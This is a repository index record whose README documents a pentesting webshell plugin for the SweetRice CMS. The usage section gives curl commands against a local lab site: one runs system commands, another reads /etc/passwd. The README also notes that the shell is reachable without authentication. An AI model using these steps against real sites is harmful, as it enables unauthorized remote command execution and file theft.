{"id":17995000,"url":"https://github.com/p0dalirius/sweetrice-webshell-plugin","last_synced_at":"2025-08-27T02:05:42.072Z","repository":{"id":41381990,"uuid":"499018414","full_name":"p0dalirius/SweetRice-webshell-plugin","owner":"p0dalirius","description":"A webshell plugin and interactive shell for pentesting a SweetRice website.","archived":false,"fork":false,"pushed_at":"2025-02-11T08:27:40.000Z","size":2035,"stargazers_count":7,"open_issues_count":0,"forks_count":2,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-04-06T18:22:36.784Z","etag":null,"topics":["cms","pentest","plugin","sweetrice","webshell"],"latest_commit_sha":null,"homepage":"https://podalirius.net/","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/p0dalirius.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"github":"p0dalirius","patreon":"Podalirius"}},"created_at":"2022-06-02T06:29:44.000Z","updated_at":"2025-03-25T14:53:25.000Z","dependencies_parsed_at":"2022-07-17T02:00:50.382Z","dependency_job_id":null,"html_url":"https://github.com/p0dalirius/SweetRice-webshell-plugin","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/p0dalirius/SweetRice-webshell-plugin","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FSweetRice-webshell-plugin","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FSweetRice-webshell-plugin/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FSweetRice-webshell-plugin/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FSweetRice-webshell-plugin/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/p0dalirius","download_url":"https://codeload.github.com/p0dalirius/SweetRice-webshell-plugin/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FSweetRice-webshell-plugin/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":272279415,"owners_count":24905891,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-27T02:00:09.397Z","response_time":76,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cms","pentest","plugin","sweetrice","webshell"],"created_at":"2024-10-29T20:17:27.203Z","updated_at":"2025-08-27T02:05:42.019Z","avatar_url":"https://github.com/p0dalirius.png","language":"PHP","funding_links":["https://github.com/sponsors/p0dalirius","https://patreon.com/Podalirius"],"categories":[],"sub_categories":[],"readme":"# SweetRice webshell plugin for RCE\n\n\u003cp align=\"center\"\u003e\n    A webshell plugin and interactive shell for pentesting a SweetRice website.\n    \u003cbr\u003e\n    \u003cimg alt=\"GitHub release (latest by date)\" src=\"https://img.shields.io/github/v/release/p0dalirius/SweetRice-webshell-plugin\"\u003e\n    \u003ca href=\"https://twitter.com/intent/follow?screen_name=podalirius_\" title=\"Follow\"\u003e\u003cimg src=\"https://img.shields.io/twitter/follow/podalirius_?label=Podalirius\u0026style=social\"\u003e\u003c/a\u003e\n    \u003ca href=\"https://www.youtube.com/c/Podalirius_?sub_confirmation=1\" title=\"Subscribe\"\u003e\u003cimg alt=\"YouTube Channel Subscribers\" src=\"https://img.shields.io/youtube/channel/subscribers/UCF_x5O7CSfr82AfNVTKOv_A?style=social\"\u003e\u003c/a\u003e\n    \u003cbr\u003e\n\u003c/p\u003e\n\n## Features\n\n - [x] Webshell plugin for SweetRice.\n - [x] Execute system commands via an API with `?action=exec`.\n - [x] Download files from the remote system to your attacking machine with `?action=download`.\n\n## Usage\n\n**Requirements**: You need to have the credentials of the `admin` account of the SweetRice website.\n\n### Step 1: Upload the webshell plugin\n\nFirst, login with admin rights on the SweetRice website and go to \"_Plugin List_\" page, at http://127.0.0.1:10080/as/?type=plugins, and upload the plugin with the \"Add Plugin\" form:\n\n![](./.github/plugin_add_new.png)\n\nUpload the plugin, and click on \"_Install the plugin_\":\n\n![](./.github/install_plugin.png)\n\nYou can now access the webshell plugin to either one of these two URLs:\n\n - (**Authenticated**) `http://127.0.0.1:10080/as/?type=plugin\u0026plugin=WebShell`\n   + You need to be authenticated as admin to access this URL.\n - (**Unauthenticated**) `http://127.0.0.1:10080/_plugin/webshell/webshell.php`\n   + The template of this URL is `http://127.0.0.1:10080/_plugin/ZIPNAME/webshell.php` with `ZIPNAME` being the name of the plugin zip file uploaded in SweetRice.\n\n### Step 2.1: Executing commands\n\nYou can now execute commands by sending a GET or POST request with `action=exec\u0026cmd=id` to either one of the two URLs:\n\n```sh\n$ curl -X POST 'http://127.0.0.1:10080/_plugin/webshell/webshell.php?action=exec\u0026cmd=id' --data \"action=exec\u0026cmd=id\"\n{\"stdout\":\"uid=33(www-data) gid=33(www-data) groups=33(www-data)\\n\",\"exec\":\"id\"}\n```\n\nYou can also access it by a GET request from a browser:\n\n![](./.github/exec_code_web.png)\n\n### Step 2.2: Downloading files\n\nYou can also download remote files by sending a GET or POST request with `action=download\u0026cmd=/etc/passwd` to either one of the two URLs:\n \n```sh\n$ curl -X POST 'http://127.0.0.1:10080/_plugin/webshell/webshell.php' --data \"action=download\u0026path=/etc/passwd\" -o-\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nmysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false\n```\n\nYou can also download a remote file from a browser with a GET request :\n\n![](./.github/download_file_web.png)\n\n### Step 3: The interactive console\n\nWhen your webshell is active, you can now use the interactive [console.py](console.py) to execute commands and download remote files.\n\nhttps://user-images.githubusercontent.com/79218792/171576334-8666a624-4611-4a21-a99e-691819a64329.mp4\n\n## References\n - https://www.sweetrice.xyz/\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fp0dalirius%2Fsweetrice-webshell-plugin","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fp0dalirius%2Fsweetrice-webshell-plugin","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fp0dalirius%2Fsweetrice-webshell-plugin/lists"}